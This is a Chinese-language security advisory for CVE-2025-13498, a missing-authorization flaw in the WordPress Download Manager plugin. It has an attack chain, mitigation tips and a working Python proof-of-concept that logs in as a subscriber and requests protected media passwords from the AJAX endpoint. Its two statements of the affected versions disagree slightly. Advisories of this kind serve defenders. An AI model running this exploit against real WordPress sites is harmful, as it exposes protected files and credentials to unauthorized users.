IPBUF安全漏洞报告
English
CVE-2025-13498 CVSS 4.3 中危

CVE-2025-13498 WordPress Download Manager未授权访问漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-13498
漏洞类型
未授权访问/越权漏洞
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Download Manager插件

相关标签

未授权访问越权漏洞WordPress插件漏洞AJAX安全媒体保护绕过信息泄露CVE-2025-13498Download Manager

漏洞概述

WordPress Download Manager插件3.3.32及之前的所有版本存在严重的未授权访问漏洞。该漏洞源于`wpdm_media_access` AJAX动作缺少必要的授权验证和能力检查。攻击者只需拥有WordPress网站的Subscriber(订阅者)级别账户即可利用此漏洞,成功获取受保护媒体附件的密码和访问控制设置。这一漏洞允许低权限用户绕过预期的媒体保护机制,访问本应受限的敏感文件,可能导致机密文档泄露、数据安全风险增加等严重后果。由于该插件被广泛用于管理WordPress网站的文件下载和文档分享功能,受影响站点数量众多。

技术细节

该漏洞的根本原因在于Download Manager插件的MediaAccessControl.php文件中,`wpdm_media_access` AJAX动作处理函数未进行充分的权限验证。具体问题包括:1) 缺少`current_user_can()`能力检查;2) 缺少WordPress nonce令牌验证;3) 未验证用户是否具有访问特定媒体资源的权限。攻击者通过构造恶意AJAX请求,在请求中指定目标媒体ID,即可绕过认证机制获取受保护文件的访问凭据和下载链接。漏洞代码位置在MediaAccessControl.php的第26行(初始化)、第275行(处理逻辑)和第299行(响应生成)。利用成功后,攻击者将获得Base64编码的密码或访问密钥,可直接用于下载受保护文件。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站订阅者级别账户
STEP 2
步骤2
使用认证会话向wp-admin/admin-ajax.php发送恶意请求
STEP 3
步骤3
请求中指定action为wpdm_media_access,并提供目标media_id
STEP 4
步骤4
由于缺少授权检查,服务器返回受保护媒体的密码和访问设置
STEP 5
步骤5
攻击者利用获取的凭据绕过媒体保护,下载原本受限的敏感文件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13498 PoC - WordPress Download Manager Unauthorized Access # Target: WordPress site with Download Manager plugin <= 3.3.32 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" # Step 1: Authenticate with subscriber-level account to get valid nonce # Then exploit the vulnerable wpdm_media_access AJAX action session = requests.Session() # Replace with valid subscriber credentials auth_data = { 'log': 'subscriber_username', 'pwd': 'subscriber_password', 'wp-submit': 'Log In', 'testcookie': '1' } # Login to get authenticated session login_url = f"{target_url}/wp-login.php" resp = session.post(login_url, data=auth_data) # Step 2: Exploit the vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'wpdm_media_access', 'media_id': '1', # Target media attachment ID 'op': 'access' # Operation to access protected media } response = session.post(ajax_url, data=exploit_data) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If successful, response contains password/access key for protected media if response.status_code == 200 and 'password' in response.text.lower(): print("[!] Vulnerability confirmed! Sensitive information exposed.") print("[*] Use the exposed credentials to download protected files.")

影响范围

WordPress Download Manager < 3.3.32

防御指南

临时缓解措施
如果无法立即升级,可通过以下方式临时缓解:在wp-config.php中添加代码禁用非管理员用户对wpdm_media_access动作的访问;或使用WordPress安全插件限制AJAX端点的访问权限;或临时禁用Download Manager插件的文件保护功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表